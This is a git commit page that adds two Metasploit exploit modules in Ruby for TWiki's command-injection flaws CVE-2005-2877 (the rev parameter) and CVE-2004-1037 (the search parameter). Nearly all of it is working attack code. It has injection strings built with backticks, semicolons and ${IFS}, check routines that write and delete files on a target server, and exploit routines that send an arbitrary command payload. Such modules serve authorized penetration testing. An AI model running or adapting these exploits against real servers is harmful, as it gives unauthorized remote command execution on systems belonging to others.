add exploit modules for CVEs 2005-2877 and 2004-1037
git-svn-id: file:///home/svn/framework3/trunk@8578 4d416f70-5f16-0410-b530-b9f4589650daunstable
Joshua Drake
parent
c9973be2d7
commit
6414821ea8
|
|
@ -0,0 +1,135 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'TWiki History TWikiUsers rev Parameter Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability in the history component of TWiki.
|
||||||
|
By passing a 'rev' parameter containing shell metacharacters to the TWikiUsers
|
||||||
|
script, an attacker can execute arbitrary OS commands.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'B4dP4nd4', # original discovery
|
||||||
|
'jduck' # metasploit version
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2005-2877' ],
|
||||||
|
[ 'OSVDB', '19403' ],
|
||||||
|
[ 'BID', '14384' ],
|
||||||
|
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev' ]
|
||||||
|
],
|
||||||
|
'Privileged' => true, # web server context
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'BadChars' => '',
|
||||||
|
'Space' => 1024,
|
||||||
|
},
|
||||||
|
'Platform' => [ 'unix' ],
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Targets' => [[ 'Automatic', { }]],
|
||||||
|
'DisclosureDate' => 'Sep 14 2005',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# NOTE: This is not perfect, since it requires write access to the bin
|
||||||
|
# directory. Unfortunately, detrmining the main directory isn't
|
||||||
|
# trivial, or otherwise I would write there (required to be writable
|
||||||
|
# per installation steps).
|
||||||
|
#
|
||||||
|
def check
|
||||||
|
test_file = rand_text_alphanumeric(8+rand(8))
|
||||||
|
cmd_base = datastore['URI'] + '/view/Main/TWikiUsers?rev='
|
||||||
|
test_url = datastore['URI'] + '/' + test_file
|
||||||
|
|
||||||
|
# first see if it already exists (it really shouldn't)
|
||||||
|
res = send_request_raw({
|
||||||
|
'uri' => test_url
|
||||||
|
}, 25)
|
||||||
|
if (not res) or (res.code != 404)
|
||||||
|
print_error("WARNING: The test file exists already!")
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# try to create it
|
||||||
|
print_status("Attempting to create #{test_url} ...")
|
||||||
|
rev = rand_text_numeric(1+rand(5)) + ' `touch ' + test_file + '`#'
|
||||||
|
res = send_request_raw({
|
||||||
|
'uri' => cmd_base + Rex::Text.uri_encode(rev)
|
||||||
|
}, 25)
|
||||||
|
if (not res) or (res.code != 200)
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# try to run it, 500 code == successfully made it
|
||||||
|
res = send_request_raw({
|
||||||
|
'uri' => test_url
|
||||||
|
}, 25)
|
||||||
|
if (not res) or (res.code != 500)
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# delete the tmp file
|
||||||
|
print_status("Attempting to delete #{test_url} ...")
|
||||||
|
rev = rand_text_numeric(1+rand(5)) + ' `rm -f ' + test_file + '`#'
|
||||||
|
res = send_request_raw({
|
||||||
|
'uri' => cmd_base + Rex::Text.uri_encode(rev)
|
||||||
|
}, 25)
|
||||||
|
if (not res) or (res.code != 200)
|
||||||
|
print_error("WARNING: unable to remove test file (#{test_file})")
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
rev = rand_text_numeric(1+rand(5))
|
||||||
|
rev << ' `' + payload.encoded + '`#'
|
||||||
|
query_str = datastore['URI'] + '/view/Main/TWikiUsers'
|
||||||
|
query_str << '?rev='
|
||||||
|
query_str << Rex::Text.uri_encode(rev)
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => query_str,
|
||||||
|
}, 25)
|
||||||
|
|
||||||
|
if (res and res.code == 200)
|
||||||
|
print_status("Successfully sent exploit request")
|
||||||
|
else
|
||||||
|
raise RuntimeError, "Error sending exploit request"
|
||||||
|
end
|
||||||
|
|
||||||
|
handler
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
@ -0,0 +1,131 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'TWiki Search Function Arbitrary Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability in the search component of TWiki.
|
||||||
|
By passing a 'search' parameter containing shell metacharacters to the
|
||||||
|
'WebSearch' script, an attacker can execute arbitrary OS commands.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
# Unknown - original discovery
|
||||||
|
'jduck' # metasploit version
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2004-1037' ],
|
||||||
|
[ 'OSVDB', '11714' ],
|
||||||
|
[ 'BID', '11674' ],
|
||||||
|
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch' ]
|
||||||
|
],
|
||||||
|
'Privileged' => true, # web server context
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'BadChars' => ' ',
|
||||||
|
'Space' => 1024,
|
||||||
|
},
|
||||||
|
'Platform' => [ 'unix' ],
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Targets' => [[ 'Automatic', { }]],
|
||||||
|
'DisclosureDate' => 'Oct 01 2004',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def check
|
||||||
|
content = rand_text_alphanumeric(16+rand(16))
|
||||||
|
test_file = rand_text_alphanumeric(8+rand(8))
|
||||||
|
cmd_base = datastore['URI'] + '/view/Main/WebSearch?search='
|
||||||
|
test_url = datastore['URI'] + '/view/Main/' + test_file
|
||||||
|
|
||||||
|
# first see if it already exists (it really shouldn't)
|
||||||
|
res = send_request_raw({
|
||||||
|
'uri' => test_url
|
||||||
|
}, 25)
|
||||||
|
if (not res) or (res.body.match(content))
|
||||||
|
print_error("WARNING: The test file exists already!")
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# try to create it
|
||||||
|
print_status("Attempting to create #{test_url} ...")
|
||||||
|
search = rand_text_numeric(1+rand(5)) + "\';echo${IFS}" + content + "${IFS}>" + test_file + ".txt;#\'"
|
||||||
|
res = send_request_raw({
|
||||||
|
'uri' => cmd_base + Rex::Text.uri_encode(search)
|
||||||
|
}, 25)
|
||||||
|
if (not res) or (res.code != 200)
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# try to run it, 500 code == successfully made it
|
||||||
|
res = send_request_raw({
|
||||||
|
'uri' => test_url
|
||||||
|
}, 25)
|
||||||
|
if (not res) or (not res.body.match(content))
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# delete the tmp file
|
||||||
|
print_status("Attempting to delete #{test_url} ...")
|
||||||
|
search = rand_text_numeric(1+rand(5)) + "\';rm${IFS}-f${IFS}" + test_file + ".txt;#\'"
|
||||||
|
res = send_request_raw({
|
||||||
|
'uri' => cmd_base + Rex::Text.uri_encode(search)
|
||||||
|
}, 25)
|
||||||
|
if (not res) or (res.code != 200)
|
||||||
|
print_error("WARNING: unable to remove test file (#{test_file})")
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
search = rand_text_alphanumeric(1+rand(8))
|
||||||
|
search << "';" + payload.encoded + ";#\'"
|
||||||
|
|
||||||
|
query_str = datastore['URI'] + '/view/Main/WebSearch'
|
||||||
|
query_str << '?search='
|
||||||
|
query_str << Rex::Text.uri_encode(search)
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => query_str,
|
||||||
|
}, 25)
|
||||||
|
|
||||||
|
if (res and res.code == 200)
|
||||||
|
print_status("Successfully sent exploit request")
|
||||||
|
else
|
||||||
|
raise RuntimeError, "Error sending exploit request"
|
||||||
|
end
|
||||||
|
|
||||||
|
handler
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
Loading…
Reference in New Issue